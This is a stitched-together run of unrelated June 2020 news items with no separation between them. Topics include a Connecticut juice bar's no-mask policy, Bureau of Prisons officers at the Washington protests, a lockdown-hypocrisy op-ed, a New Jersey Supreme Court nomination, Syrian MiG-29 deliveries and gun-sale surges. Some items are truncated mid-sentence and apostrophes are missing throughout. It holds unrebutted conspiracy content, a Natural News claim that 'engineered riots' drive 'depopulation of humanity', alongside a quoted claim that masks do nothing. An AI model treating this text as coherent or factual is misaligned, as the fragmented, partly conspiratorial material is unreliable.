What does a 64-year-old woman alone, without any protection, do when big, tall men come in with masks covering their faces? she said, as she waited on a customer who ordered three frozen drinks. Both the young female customer and a child with her were wearing face masks, and kept six feet away from the counter.

Im supposed to sit here, like a sitting duck, she said. Im watching the news, seeing people get beat up, seeing businesses get looted. If the city wants to put a cop outside my door, fine, but otherwise, no.

She justified her decision by referring to Dr. Anthony Fauci, a member of the Trump administration's White House Coronavirus Task Force, saying the disease expert said masks are not needed.

I am not the mask police. Im not going to ask people their medical history, or tell them to wear a mask, she said. Thats not my business.

But according to factcheck.org, an outdated video clip of Fauci began circulating on social media in mid-May, giving the false impression that the doctor was advising the public not to wear face masks. Fauci, like other health officials, actually recommends wearing a cloth face covering when a person cant maintain a distance of at least six feet from another person.

According to the article, the Centers for Disease Control and Prevention in April reversed its earlier position on the use of face masks during the COVID-19 pandemic and announced it was now recommending that people should wear face coverings in public, citing new studies on the transmission of the virus that causes COVID-19.

Rosemary is frustrated by the rules and regulations being levied on small businesses.

. With all that is going in the world we here at Nirvana are not comfortable with masks in our store. We respect your decision to wear a mask and ask that you order online and select curbside pick up. Please respect our decision to be a mask free zone, her Facebook post said.

Little businesses like ours are getting beat up, she said. People can go to Walmart and Target, they can have a protest with a thousand people all packed together, but were being asked to follow all kinds of rules.

When she announced on her Facebook page that she wouldnt require masks inside the store, some people n the online forum criticized , but many more debated the idea of wearing a mask, and many cited Faucis recommendations.

If people would understand that masks do nothing from getting covid!! one person wrote. People who are scientists working with virus are suited up in rubber and are vented, no scientists are just wearing bandanas or home made masks or blue medical masks! If it makes people feel safe by All means wear the masks but the virus has been out there for years!!! Its just now people are reacting!! This is not a bash on anyone. Everyone has their own opinion.

My cancer stricken mother is immunocompromised. I am healthy. But I wear a mask for her. I avoid mask free zones for her. Simple as that, wrote another person.

The juice bar is not the only business that has required a bit of guidance from the health department and other town officials, but for the most part, Stansfield said, everyone is doing their part.

Weve had to remind some food service establishments to comply, and they have, he said. Everyones been very compliant when it comes to the mandates we have in place.

The city has held a number of Zoom meetings with various parts of the business community, including hair salons, restaurants and houses of worship. Two more are scheduled Friday for industry and manufacturing; Monday, the meeting is for people in the real estate industry. Go to torringtonct.org for information on how to attend these forums.
Officers walk outside the Department of Justice as Attorney General William Barr speaks during a virtual press conference inside the building, June 4, 2020, in Washington.

Manuel Balce Ceneta/AP

Wild theories have emerged following the images that showed groups of men wearing unmarked clothing while wielding riot-control gear in Washington, D.C.

Based on numerous images and videos, none of the officers appeared to carry firearms specifically designed to kill.

The Bureau of Prisons (BOP), the Justice Department's agency responsible for prisoners, later confirmed that the officers were their employees.

These officers have additional hours of training on top of their regular duties for the Bureau of Prisons.

Visit Business Insider's homepage for more stories.

Wild conspiracy theories have emerged following the distribution of images that showed groups of men wearing unmarked clothing while wielding riot-control gear in Washington, D.C., during the George Floyd protests this week.

The presumptive law enforcement officers did not appear to have on uniforms that revealed their agency affiliation or their names, leading bystanders and news reporters to raise concerns on their purpose at the protests.

The officers wielded several protective gear and riot-control weapons, including batons, rubber-bullet guns, and 40mm grenade launchers likely containing non-lethal rounds.

Based on numerous images and videos of the officers in Washington, the vast majority of them were not carrying firearms specifically designed to kill.

The Bureau of Prisons (BOP), the Justice Department's agency responsible for prisoners, later confirmed that the officers were their employees.

"BOP, like other federal, state, and local [law enforcement officers] may be deputized under the authority granted the [United States Marshals Service] to enforce federal criminal statues and protect federal property and personnel," it said in a statement to NBC.

Members of government agencies stand on H Street as demonstrators gather to protest the death of George Floyd, June 3, 2020, near the White House in Washington.

Alex Brandon/AP

Attorney General William Barr in a statement on Sunday said he was mobilizing federal officers to quell the riots in Washington and Miami.

Story continues

"It is time to stop watching the violence and to confront and stop it," Barr said. The continued violence and destruction of property endangers the lives and livelihoods of others, and interferes with the rights of peaceful protesters, as well as all other citizens. "

The BOP also added in a separate statement that the officers were part of Special Operations Response Teams, (SORT) which includes members who "are highly trained tactical units capable of responding to prison disturbances, and providing assistance to other law enforcement agencies during emergencies;" and Disturbance Control Teams that specialize in crowd-control scenarios.

Members of these teams have additional training on top of their original duties in prisons. According to a 2009 BOP training manual, employees selected for the disturbance control squad conduct 40 hours of training each year, while SORT members are required to complete 96 hours of training annually. SORT training includes the use of riot control agents, shooting less-than-lethal rounds, and simulated prison riot simulations.

BOP SORT members and other Justice Department assets have been activated in moments of crisis. In August 21, 1991, around 120 of the 120,000 Cuban detainees at the Federal Correctional Institution in Talladega, Alabama, took hostage several BOP employees with weapons. The FBI's Hostage Rescue Team and SORT members breached the installation using explosives and rescued all the hostages without incident.

During the 1992 LA riots, 20 SORT teams across the BOP's system were deployed to assist law enforcement agencies. Their duties, according to a BOP annual review, included "protecting property, patrolling neighborhoods, searching burned-out buildings for possible victims, and serving as support for the Los Angeles Police Department."

The SORT members in Los Angeles at the time also managed to detain a sniper who had shot at residents from a building at night.

Read the original article on Business Insider
Palestinian boys head towards the "Green Line" that separates the Arab village of Bartaa, which straddles the 1967 border between Israel and the northwestern tip of the West Bank, April 29, 2012.

JERUSALEM (JTA) - Election rallies for the Arab parties in Israel rarely garner much attention or excitement. But recent policy proposals engineered thousands of miles away may have re-energized a once stagnant and unreliable voting bloc.

The peaceful Arab village of Bartaa, home to about 4,500 residents, is located in the northern Triangle region, not far from the city of Umm al-Fahm. The inhabitants are all Muslim; most of them are members of the Kabha family. Despite its relatively remote location away from the main road that connects the coastal plain of Israel with the northern vall...
SAN FRANCISCO and OMAHA, Neb., June 5, 2020 /PRNewswire/ -- "During a time of tremendous upheaval in our society, culture, and economy, we're also faced with a painful reminder of the racism still present here today," said William Callahan, founder and CEO of Callahan Financial Planning Company.

Effective today, Callahan Financial Planning has announced its intention to enhance its Callahan Financial Planning Gives program by doubling the annual giving to 10% of our annual income this year.

The financial advisors and staff at Callahan Financial Planning hear frequently, perhaps now more than ever, from clients making it clear that they're looking for ways to help. To facilitate the discussion, Callahan Financial Planning has made a website available with a list of charities whose primary mission is to address the inequalities and injustices still dangerously present in our society today.

"One of our core values as a company is putting people first, and to me, that meant taking clear, immediate, and sustainable action towards healing every form of racism and prejudice still present in our society. I believe one way this can be done is directing more attention and resources towards organizations that focus on awareness and service supporting equity, justice, and equality," stated Allison Cerven, a financial planner and chief compliance officer at Callahan Financial Planning.

This doubling of the Callahan Financial Planning Gives program does not modify the existing structure in place, where 5% of the company's income each year is given to charities voted by clients. This supplement was chosen as a vital social need at this time by the staff of Callahan Financial Planning.

This expanded program in 2020 will begin with donations to local charities that include Showing Up for Racial Justice (SURJ) in Marin County, California and Omaha, Nebraska-based Inclusive Communities. The local chapter of SURJ uses much of its resources to support the Multicultural Center of Marin and the Marin City Health & Wellness Center.

About Callahan Financial Planning: Callahan Financial Planning is a fee-only registered investment advisor and financial advisor with offices in Omaha and Lincoln in Nebraska, San Francisco, San Rafael, and Mill Valley in California, and in the Denver metro in Centennial, Colorado.

The firm serves individuals and families, typically close to retirement, who have some situational complexity and are seeking independent guidance relating to their investments, taxes, or estate planning and other personal finance topics.

SOURCE Callahan Financial Planning Company

Related Links

https://callahanplanning.com


Did you know there is a giant loophole to the legally enforceable social-distancing guidelines of the COVID-19 pandemic?

New York City mayor Bill de Blasio was reminded by a reporter earlier this week that retail stores and houses of worship had been closed for months. All public gatherings were limited by law to ten people. Yet thousands were gathered close together, with his encouragement, protesting. Youve expressed solidarity with this particular protest cause. Is that why its been given dispensation to disregard epidemic guidelines? the reporter asked.

Anyone who thinks theres different rules for different people, again, is not trying very hard to see the reality, de Blasio hemmed and hawed. When you see a nation  an entire nation  simultaneously grappling with an extraordinary crisis seeded in 400 years of American racism, Im sorry, that is not the same question as the understandably aggrieved store owner or the devout religious person who wants to go back to services. This is something thats not about which side of the spectrum youre on. Its about a deep, deep American crisis.

Pennsylvanias health secretary, Dr. Rachel Levine, explained that the government guidelines for parties or concerts remained in place, but since there are obviously significant social issues that are present, people feel they need to have a voice, protests could continue.

Its not just America either. In Dublin, a crowd estimated to be 5,000 strong gathered under the auspices of Black Lives Matter. In the current phase of reopening no more than ten people are allowed to gather for a funeral. For other gatherings, Up to 4 people who dont live together can meet outdoors while keeping at least 2 metres apart. Yet Irelands government seemed to tacitly endorse the plainly illegal protest. Taoiseach Leo Varadkar tweeted that racism is a virus that we have been fighting for millennia. . . . We need to show solidarity as people of all races & backgrounds around the world come together to stop its spread and defeat it. The next day, the governments health minister announced that grandparents and grandchildren could soon meet again, but not hug.

Story continues

In the United Kingdom, police forces have publicly shamed their own citizens by posting pictures of those who failed to comply with social-distancing guidelines. The lockdown measures have been enforced vindictively, with legal exercise scrutinized. The government was thrown into a virtual crisis when Prime Minister Boris Johnsons senior adviser, Dominic Cummings, pushed the boundaries of lockdown rules by driving to a family members house to seek child-care help as he and his wife came down with the virus. Yet as George Floydinspired protests grew in the U.K., Johnsons government endorsed the right to demonstrate while adhering to social-distancing guidelines that limit public gatherings to just five people, ignoring the reality that the guidelines were already being violated with impunity.

Back in the U.S., hundreds of public-health workers signed an open letter. Staying at home, social distancing, and public masking are effective at minimizing the spread of COVID-19, they wrote. However, as public health advocates, we do not condemn these [protests] as risky for COVID-19 transmission.

The message is clear: Public-health experts and elected officials either dont take their own dire warnings about the virus seriously, or they dont take our rights seriously. Their fatuous little retorts to criticism have been that protests  at least the ones they like  are an urgent exception; anyone else who wants to break lockdown rules is demeaned as a selfish prig who just wants a haircut.

But, in fact, its not just a haircut. If you booked a wedding venue for this summer in New York or Connecticut, that venue cannot give you an answer about whether and how the event might proceed. In many school districts, if you want your child to receive the state-provided developmental therapy that all qualifying children are entitled to, it has to be done via Telehealth  that is, it must be done poorly, because a child meeting a speech therapist is deemed a risk to public health.

The governors of New York and Pennsylvania have both encouraged the protests, saying that they dont want to interfere with First Amendment rights. But the social-distancing rules they have both also heartily endorsed already interfere with the First Amendment; even in a giant cathedral it is illegal to gather more than ten people for a church service. How can any decent government give an endorsement to crowded protests featuring long periods of shoulder-to-shoulder chanting but still enforce rules excluding household members and close family from a funeral?

If public-health officials have quietly come around to the idea that outdoor transmission of the coronavirus is rare, and protests are safe, then they must inform the public of this fact, and urge governors to immediately reprioritize opening up the outdoors for larger gatherings. That they havent done so speaks volumes. With their endorsement of a protest they approve of as a legal exception  one imagines nationwide pro-life protests would not have been treated with the same kid gloves  theyve made our governors and mayors into arbitrary tyrants. For months, theyve been demanding previously unimaginable sacrifices of all of us. And it turns out, many of them didnt even believe their own message. They have made a mockery of public health, revealing themselves as arbitrary, shallow, and ultimately tyrannical.

More from National Review
New Jersey Gov. Phil Murphy said Friday that he would nominate Cherry Hill lawyer Fabiana Pierre-Louis to the state Supreme Court, where she would be the first black female justice.

Pierre-Louis, 39, is a partner with the law firm Montgomery McCracken Walker & Rhoads LLP, and a former federal prosecutor. She served nine years as an assistant U.S. attorney in New Jersey, and held leadership roles as attorney-in-charge of the Trenton and Camden offices. Pierre-Louis was the first woman of color to hold those positions.

Murphys nomination is subject to confirmation by the state Senate.

Justice cannot be blind if those who sit on our highest and most powerful bench are not surrounded by colleagues who encompass the full range of the American experience, whether it be racially or generationally, or both, Murphy, a Democrat, said at the Trenton War Memorial.

He described Pierre-Louis as a groundbreaking lawyer who, as a prosecutor, handled cases involving public corruption, national security, child sexual exploitation, and allegations of racial bias by law enforcement.

In Trenton, she helped create a reentry court that helps former offenders gain their footing outside incarceration.

It is extremely humbling to be nominated, and I am beyond excited and enthusiastic at the opportunity to continue the proud tradition of the Supreme Courts commitment to justice, equality, and fairness," Pierre-Louis said.

The daughter of Haitian immigrants, Pierre-Louis described spending her early childhood living in a cramped two-bedroom apartment in Brooklyn with seven family members. English was not her first language.

They moved to Irvington, N.J., and Pierre-Louis went on to receive her bachelors degree from Rutgers University in New Brunswick and her law degree from the Rutgers-Camden Law School, graduating with high honors, the governor said.

I know I have truly lived and continue to live the American Dream that my parents came to this country in search of, Pierre-Louis said.

Pierre-Louis would take the seat on the seven-member high court being vacated by Associate Justice Walter Timpone, who will reach the mandatory retirement age of 70 in November. Timpone was appointed by Republican Gov. Chris Christie in 2016, ending a years-long standoff with the Democratic-controlled Senate over the courts ideological makeup.

That began when Christie took the unprecedented step in 2010 of refusing to renominate Justice John Wallace, for whom Pierre-Louis once clerked. Democrats were outraged by Christies ouster of the courts lone black jurist.

Timpone is a Democrat, so Murphys pick likely will not significantly alter the courts ideological composition. Of the remaining justices on the bench, four were appointed by Christie, and two by Democratic governors.

Murphy said he had not selected Pierre-Louis because of the nationwide protests over police brutality and systemic racism, noting that the vetting process takes months.

However," Murphy said, given the challenges which are being brought to the forefront of our society, and the questions which will undoubtedly rise to reach our Supreme Court  core issues of socioeconomic equality and equity  there is no better meeting of an individual and the times."
Russia delivers new batch of advanced MiG-29 fighter jets to Syria

Iran Press TV

Thursday, 04 June 2020 4:40 PM

The Russian Embassy in Damascus says Syria has received a new batch of advanced Mikoyan MiG-29 twin-engine fighter jets, which are currently being used by Syrian pilots to strike the positions of foreign-sponsored Takfiri militants in the country.

The diplomatic mission, in a post published on its official Twitter page late on Wednesday, announced that the latest batch of the aircraft was handed over to the Syrian military "within the framework of defense cooperation" between the two countries.

"Syrian Arab Army received the second batch of advanced MiG-29 fighter jets from #Russia - in the framework of military & technical cooperation between our countries. Syrian(s) already begin to carry out missions on those planes," it said.

Russia had delivered another batch of Mikoyan MiG-29 combat aircraft to Syria on May 30.

"In the framework of military and technical cooperation between Russia and Syria, the Russian side handed over the second batch of advanced and modernized MiG-29 fighter jets to Syria, during a ceremony at Hmeimim base [in Syria's western coastal province of Latakia]. As of June 1, 2020, Syrian pilots will begin to carry out missions on those planes in Syrian airspace," Syria's official news agency SANA quoted an unnamed senior military officer as saying at the time.

Russian news portal avia.pro wrote back then that the Syrian Air Force, with the MiG-29s in its inventory, will be able to tackle and even get the better of Israeli F-16 warplanes.

According to the report, the MiG-29s supplied to Syria have better combat capabilities than the F-16s operated by the Israeli military.

Russia has been helping Syrian forces in the ongoing anti-terror battles across the conflict-plagued Arab country.

The Russian military assistance, which began in September 2015 at the official request of the Syrian government, has proved effective as Syrians continue to recapture key areas from terrorist groups across the country.

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I am going to be honest, I dont feel proud to be an officer right now, said Coleman, who is from Southeast Washington. But knowing what I have done over my 29 years and what I have come back to do to try to make sure that these folks who are coming behind me get it right, yes I do feel proud. And I will put this uniform on until I get that point across.
YEREVAN, JUNE 5, ARMENPRESS. Officials have been arrested in Russia for giving and taking a bribe to supply dual-purpose military products from Russia to Azerbaijan, Kommersant reports.

According to the investigation, head of the military-technical cooperation department of the ministry of Industry and Trade Rizvan Gayrbekov received 4,5 million Russian rubles from CEO of Nizhny Novgorod Aircraft JSC Vasily Klepalov to give a license to the company for supplying dual-purpose military products to Azerbaijan. According to the investigation the CEO of Nizhny Novgorod Aircraft JSC gave the money to Rizvan Gayrbekov through their common acquaintance, Sergei Garmash, who is serving at the Federal Service for Military-Technical Cooperation.

CEO of Nizhny Novgorod Aircraft JSC Vasily Klepalov has been arrested and is accused of giving a bribe.

Rizvan Gayrbekov has been remanded into custody until August 4.
The Bombay high court (HC) on Tuesday upheld the conviction of a 36-year-old for sexually assaulting and robbing a resident in a building where he worked as a security guard. The man was convicted to 10 years imprisonment by a trial court in 2015.

The incident took place in the early hours of January 24, 2014, and the residents brother found her injured and in a semi-conscious state a few hours later. The sessions court convicted the guard for sexual assault and robbery, and sentenced him to 10 years imprisonment based on CCTV footage and forensic evidence, including the odontology report of the convicted guard. The survivors mobile phone was also seized from him.

The guard appealed against the verdict in the Bombay HC, which was rejected on Tuesday.

Justice Prithviraj K Chavan rejected the security guards appeal, stating the evidence on record, including the CCTV footage, unerringly pointed towards his guilt, and that he had executed his nefarious design in a calculated manner.

The appellant as a security guard was duty bound to guard and protect the members of the society and their property, justice Chavan observed.
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The Middlesex County Chamber of Commerce will host a Special Virtual Member Luncheon at noon June 11, sponsored by Liberty Bank. The event is expected to focus on the gradual reopening of Connecticuts economy which is underway, and what precautions will be necessary for the foreseeable future. Cost is $10 for members of the Middlesex County Chamber of Commerce, and $15 for non-members. Advance registration required; go to www.middlesexchamber.com.
(Natural News) By the end of May, more than five million guns were sold in the U.S. as people began to fear the possibility of widespread unrest over the outbreak of the Wuhan coronavirus (COVID-19). Now, gun sales have spiked once again as rioting, protests and civil unrest over the death of George Floyd continue to spread across America and the rest of the world. Several gun stores across the country have already reported an increase in gun sales.

Were running out. Literally running out, said Andy Chernoff, owner of Coliseum Gun Traders in Uniondale, Nassau County, New York. According to Chernoff, since the coronavirus pandemic began spreading through the country, their phones have been ringing nonstop, and the line has consistently wrapped itself around their building. After the riots began, his store experienced another spike in sales. Jimmys Sport Shop in nearby Mineola has seen a similar trend, especially among minorities looking to defend their property.

This spike is not limited to Nassau County, New York.

Listen to the Health Ranger Report by Mike Adams, the Health Ranger, as he discusses how the convergence of the COVID-19 pandemic and the engineered riots can lead to the depopulation of humanity.

Gun sales skyrocket across the country

In Clovis, California, PRK Arms has seen an increase in first-time buyers since the start of the COVID-19 pandemic. General manager Elijah Smedley said its normal for the shop to see a line of people outside, and that many first-time gun buyers are choosing personal defense weapons. According to data gathered by ABC, PRKs gun sales from February to March jumped by 69,000.

In Buckhead, Georgia, Angel Rambert, 26, bought her first pistol after witnessing how the AT&T store across from her apartment was ransacked. At the two nearby gun stores she visited, she was met with extremely long lines.

In St. Louis County, Missouri, where four police officers were shot and a former police captain was killed, locals have spent hours waiting in line at gun stores. According to reporters from KMOV, many of the first time buyers were purchasing weapons for personal protection and cost under $300.

Similar trends are seen in other states  in Alabama, gun stores are finding it difficult to continue resupplying their stocks of ammunition; in Arizona, one gun store owner said the rioting and looting have been good for business; and in Atlanta, Eric Wallace, owner of Adventure Outdoors, said that people are buying guns because they fear for their safety.

Anytime theres unrest, it seems like thats when [a spike in gun and ammo sales] happens, said Russell England, owner of Alabama Guns and Outdoors. (Related: Leftist tyrants increasingly shutting down gun shops amid coronavirus outbreak, leaving Americans vulnerable to chaos and riots if things turn ugly.)

Gun stocks rally thanks to civil unrest

Daniel OKelly, director of International Firearm Specialist Academy, a gun consulting company, said that its normal for gun sales to increase after natural disasters, mass shootings or political speeches that involve gun laws. He further stated that, if the unrest and uncertainty in the U.S. continue, its likely that gun sales will keep on surging.

While the current data on gun sales still does not reflect any increased purchases surrounding the death of George Floyd, its likely that, as soon as the data comes in, June will be another record-breaking month for gun stores nationwide.

In fact, this trend can already be seen in the stock market, where stocks of several prominent firearms companies soared on Monday following a weekend of rioting and civil unrest. Firearms companies Smith & Wesson and Sturm, Ruger & Co. saw their stocks climb 28 percent and 12.5 percent, respectively. Axon Enterprises, a leading manufacturer of law enforcement products such as Tasers, saw their stocks increase by as much as 21 percent.

If the rioting and civil unrest continue, its very likely that thousands of Americans will become first-time gun owners  and gun distributors and manufacturers can also expect to profit from the chaos.

Sources include:

Fox5NY.com

NationalReview.com

Edition.CNN.com

ABC30.com

SADefenseJournal.com

USAToday.com

APNews.com

KMOV.com

Al.com

AZFamily.com

Fox5Atlanta.com

FoxBusiness.com

Markets.BusinessInsider.com
Ukraine, Greece discuss travel resumption

19:20, 05.06.20 2185

The foreign ministers shared practices on countering the spread of COVID-19 and overcoming the consequences of the pandemic.
It's World Environment Day and the people of the world, confronted with a new threat and forced into hiding, have this year been humbled by their own fragility  with the United Nations capitalising on the pandemic to deliver its message that the health of the planet is inextricably linked to the health of humankind.

We are harming the natural world to our own detriment, warned UN chief Antonio Guterres, while the independent UN Special Rapporteur on human rights and the environment, David Boyd, told us that to care for humanity, we must care for nature.

Biodiversity is the theme of World Environment Day (WED) 2020, with the UN calling for urgent action to protect the Earth's 8 million plant and animal species, their genetic diversity and the ecosystems that house them.

A year ago, when coronavirus was a word used mostly by researchers, a landmark UN report warned that life on Earth was under unprecedented threat, with more than a million species facing extinction and global ecosystems eroding faster than ever before.

Global experts from the UN's Intergovernmental Panel on Biodiversity Ecosystem Services (IPBES) sought to hatch a plan to save nature, with ecosystems, species  both wild and domestic, plant and animal  shrinking, deteriorating or vanishing altogether.

Global biodiversity off course

2020 was intended to be a bumper year for biodiversity, delivering two milestone events on nature conservation that have now been postponed. These were Cop15, the Conference of the Parties to the Convention on Biological Diversity  which should have set the course for global biodiversity policies for the next few decades  and the International Union for Conservation of Nature (IUCN) World Conservation Congress.

Despite delays to the program, the message that protecting and monitoring biodiversity can help prevent further pandemics is resonating. At least 70 percent of emerging infectious diseases are crossing to people from the wild, Boyd warned, adding that transformative actions are urgently required to protect environment and human rights.

Just as a global response is the only way to fully overcome the Covid-19 crisis, the same is true for the environment and the climate.

The anthropisation of the planet  the ever-increasing transformation of the Earth by humans  is behind most of the zoonosis (any infection that is naturally transmissible from vertebrate animals to humans) that have caused epidemics in recent years, says Jean-Francois Silvain of France's Research Institute for Development, who also chairs the French committee for IPBES.

The current crisis must be an engine for the protection of biodiversity and for real consideration of biodiversity issues, he told RFI, adding that several French ministries were pushing for environmental issues to be taken into account in their strategies for exiting the Covid-19 crisis.

In the same way we've had to adopt barrier measures during this pandemic to preserve our health and that of others, our individual responsibility is also engaged for the safeguard of the environment: a small number of dedicated people can create major changes.

Just like the virus, the consequences of degraded climate and the environment know no borders.
H opes that the property market will survive the coronavirus pandemic without a major slump were raised today when one of Britains biggest housebuilders said it had seen dramatic surge in viewing appointments.

Taylor Wimpey said there had been a threefold increase in bookings in the final week of last month compared with the same time last year, as well as a 32 per cent rise in traffic on its website.

Since the start of the lockdown only 306 buyers have cancelled their purchases, lower than the 386 in the same nine-week period in 2019.

The company, which has major developments in London in Clerkenwell, the City, Mill Hill and Whetstone, said it had restarted construction on the majority of its sites in England and Wales and reopened most of its English sales centres and show homes.

All Taylor Wimpeys furloughed staff have returned to work.

There was also brighter news from Britains biggest mortgage lender Halifax, which revealed that prices only fell 0.2 per cent last month, although it was the third successive monthly decline.

The average cost of a home in the UK dipped from 238,314 to 237,808, still 2.6 per cent higher than a year previously.

Halifax managing director Russell Galley said: We expect market activity to increase progressively as restrictions are eased further across the whole of the UK and we continue to have confidence in the underlying health of the housing market over the long-term.

But the effect of the virus in the motor sector continued with car maker Bentley expected to announce up to 1,000 job losses at its plant in Crewe today.

It will bring the jobs cuts this week alone to 3,000 after Aston Martin said it would shed 500 posts, and dealership Lookers warned of 1,500 redundancies.




Haiti - Social : Haitians detained in the Bahamas demonstrate and want to be repatriated to Haiti





Disorders broke out Wednesday in the detention center "Bahamas Carmichael Road" because Haitians detained because of their irregular migration situation demanded to be repatriated to Haiti, said the immigration department which recalled that the repatriation had was postponed in March due to the Covid-19 pandemic.



In a statement, the Royal Bahamas Defense Force (RBDF) reported that several Haitians had started a hunger strike on Tuesday June 2 at around 8 a.m. and exhibited aggressive behavior, demanding return to their country.



The Immigration Ministry said that the Haitians had refused to eat "until they are given a date for their departure flight to Port-au-Prince" specifying that not all Haitians were of agreement for the hunger strike.



Some of the detainees escaped from the dormitories, destroying several fences and minor infrastructure, said the RBDF whose marines quickly regained control of the situation, 8 Haitians should be charged with destroying public property and placed in the correctional center said the RBDF.



Military Police Commander Natasha Miller, head of the detention center, said it was decided to increase security at the facility.



Reacting to these events, "Rights Bahamas", a local human rights group declared in a statement that "Haitian lives do not matter to many Bahamians" stressing "Our Haitian brothers and sisters are choosing to starve themselves, to garner our attention of what cruelties they endure in our detention center [...]"



Miller said Wednesday that the short hunger strike that started on Tuesday morning and had little follow-up ended on Wednesday and that the situation returned to normal in the establishment.



The Bahamas Carmichael Road Center houses 133 detainees (source immigration service). Haitians represent nearly 64% of the population of the Center (67 men and 18 women), some of whom have been there since February, 2020 (source RBDF).



S/ HaitiLibre


















BAKU, Azerbaijan, June 5

By Leman Zeynalova  Trend:

As long as the oil demand recover stays intact, the crude market will be in deficit also in August and onwards, despite cuts being tapered by 2 million bpd to the scheduled 7.7 million bpd level, Trend reports with reference to Rystad Energy.

That will ensure a fundamental support for prices, while also spurring a quicker reactivation of curtailed US oil production, and eventually frac crews ending their holidays early. Indications show that a bit more than 300,000 bpd from shut US production is actually coming back online already from June as a result of the current price levels, said Rystad Energys Head of Oil Markets Bjornar Tonhaugen.

He said it now seems very likely that OPEC+ will meet tomorrow to hash out a deal to extend the current May-June deep cuts for one more month.

Rumors have it that a breakthrough was reached with Iraq last night and crude prices resumed gains this morning, both for Brent and WTI. Iraq has struggled to comply fully with their 1.061 million bpd target cut, delivering only around a 400,000 bpd cut for the first month of May 2020. Assurances and agreements with IOCs operating in Iraq has now been reached, and Iraq has a higher chance of being able to reduce production from the giant IOC-operated fields in the Basrah region than ever before. However, we are still skeptical that Iraq will be able to deliver the 1 million bpd cuts in full, and for now see an additional cut of 100,000-200,000 bpd in July as more likely, said Tonhaugen.

He said OPEC+ is fully aware of this balancing act as they prepare to meet virtually over the weekend.

And the producers are not just interested only at reactivating production, they have a stock build that they want to trim as well. The deficit will help reduce that burden and bring back healthier price levels sooner than it was maybe thought. So, even if demand exceeds supply for a while, that does not mean that we really have a problem to source oil. Oil is there, lots of it, waiting to be drawn from storage facilities.

---

Follow the author on Twitter: @Lyaman_Zeyn
Law enforcement from across Warren County on Thursday said they stand with residents and hear their concerns in the wake of the police killing of George Floyd in Minnesota, according to a news release.

County Freeholder James R. Kern III, who organized the event that featured 15 chiefs and officers from local and county agencies on the courthouse steps in Belvidere, said, Now is about acknowledgement of what happened. We then must listen and most importantly, act. We cannot change as a society unless we change ourselves.

Pohatcong Township police Chief Scott Robb, who is president of the Warren County Police Chiefs Association, added, The relationship between police and the community they serve is one of the most important our country has. This relationship is built on trust, mutual respect and accountability."

But "certain police failed to uphold their end in the case of Floyd, Robb said. Four Minneapolis officers have since been charged with felonies in the killing.

While this particular incident happened in Minneapolis, the entire country has felt the pain, Robb said. Communities are left feeling betrayed by the professionals they look to protect them. Police departments throughout the country are tasked with rebuilding the trust within their communities.

As part of that process, law enforcement throughout the county had a message for those they protect.

Today, we stand on the front steps of this courthouse to let you know, citizens of Warren County, that we stand with you," Robb said, according to the news release. We are more than a uniform, we are part of your community. We do have work to do. We are committed to take every measure to conduct continual and extensive training to avoid similar situations from occurring in the towns that we serve.

County Sheriff James McDonald Sr. said he understands the anger after Floyds death with a police officers knee on his neck, and supports everyones constitutional right to peaceful protest. We will respect and protect you while you exercise this right."

But McDonald laid down the line when it came to the violence that broke out in several cities. The news release said he had no tolerance for such actions.

There is an obvious distinction between a protest and a riot, he said. "... To those who protest peacefully, we stand with you. To those who seek justice, we stand with you. To project your rights, well stand in front of you. The police are not your enemy. We are asked not to judge all of you by the actions of a few. We ask the same from you.

County Prosecutor James Pfeiffer condemned racism in law enforcement, but added he is confident its not a problem in his county.

"We have to recognize it exists in our society. And its absolutely wrong to its core, he said.

Kern said the killing in Minnesotas cant divide our community, according to the news release.

The murder of George Floyd warrants protest," he said. "While not the case for the whole country, the protest and demonstrations that have happened around our county have been peaceful. I thank all those participating for that peace. This is a somber time, but I am optimistic that our country will come out of this even stronger.

Other law enforcement officials participating on Thursday included Chief James Macaulay, Hackettstown; Chief Rich Hummer, Greenwich Township; Chief Michael Reilly, Mansfield Township; Chief Tom Cicerelle, Washington Township; Chief Jason Garcia, Lopatcong Township; Chief Scott Johnsen, Blairstown Township; Chief Matt Scott, Belvidere; Chief Rob Stettner, Phillipsburg, and Lt. Christopher Prell, Independence Township, the news release said.

Thank you for relying on us to provide the journalism you can trust. Please consider supporting lehighvalleylive.com with a voluntary subscription.

Tony Rhodin may be reached at arhodin@lehighvalleylive.com.
Home insurance insurtech agency Hippo plans to acquire New Jersey-based Spinnaker Insurance Co., an insurer with which it has has had a three-year partnership.

The deal, first reported by Carrier Management, is designed to help Hippo  a managing general agent  expand the geographical reach of its modern home insurance policies, which also include smart home monitoring kits.

Neither side disclosed financial terms, but a Hippo spokesperson said, Hippo paid an appropriate multiple of book value commensurate with other fronting carrier transactions of similar size and quality.

Spinnaker is a New Jersey-based national property/casualty insurer licensed in all 50 states that employs about 10 people, versus 280 at Hippo.

Hippo said Spinnaker has been its largest carrier platform partner since 2017, and noted Spinnaker-backed Hippo products are sold currently to consumers in more than 18 states. Hippo claims the partnership helped grow Spinnakers premium by $32 million in 2017, $80 million in 2018 and $200 million in 2019.

Hippo Chief Insurance Officer Richard McCathron said that the Spinnaker acquisition reflects a natural next step toward growing its proactive home insurance offerings.

Spinnaker knows the complexities of our industry, mirrors our same standards for technology innovation and customer experience and has continued to meet, oftentimes exceeding, our expectations over the years, McCathron said in prepared remarks. Were proud of the progress weve made as partners and look forward to closing the acquisition.

Spinnaker CEO Dave Ingrey said that Spinnaker has pioneered a number of products since its 2015 debut. Since launching in 2015, Spinnaker has pioneered the concept of value-added fronting: working to create products that benefit the policyholder, the producer and the reinsurer, Ingrey said in prepared remarks. We know Hippo shares these ideals

Hippo sells its insurance products online and offers smart home device kits with each policy. Spinnaker, rated A- by A.M. Best, uses program administrators and managing general agents to access niche markets with a focus on short-tail business. Spinnaker focuses on homeowners, renters, small commercial, as well as some specialty lines and fronting opportunities, the companies said in their announcement.

Deal Details

The acquisition will close pending regulatory approval. Once that takes place, Hippo said the firm will join its family of companies. In late November 2019, Hippo purchased Sheltr, a San Francisco-based startup designed to provide home wellness checkups. Hippo closed the deal using both cash and stock.

After the deal concludes, Hippo will still operate as a managing general agent, with a portion of its premiums underwritten by its affiliate Spinnaker. The balance will be underwritten by other carrier partners.

Spinnaker will operate independently under the Hippo umbrella and maintain its position as an insurance program and fronting company. Spinnaker will continue to service and grow its portfolio of program administrators.

Hippo would not disclose how it is acquiring Spinnaker, but the spokesperson said Hippo is fortunate to have ample capital and support from its investors that help it move on strategic opportunities when they arise. The company has raised $209 million in venture financing to date.

Topics Mergers Carriers InsurTech Tech Insurance Wholesale Homeowners
John Torode says his wife Lisa Faulkner has been 'his rock' during life in lockdown.

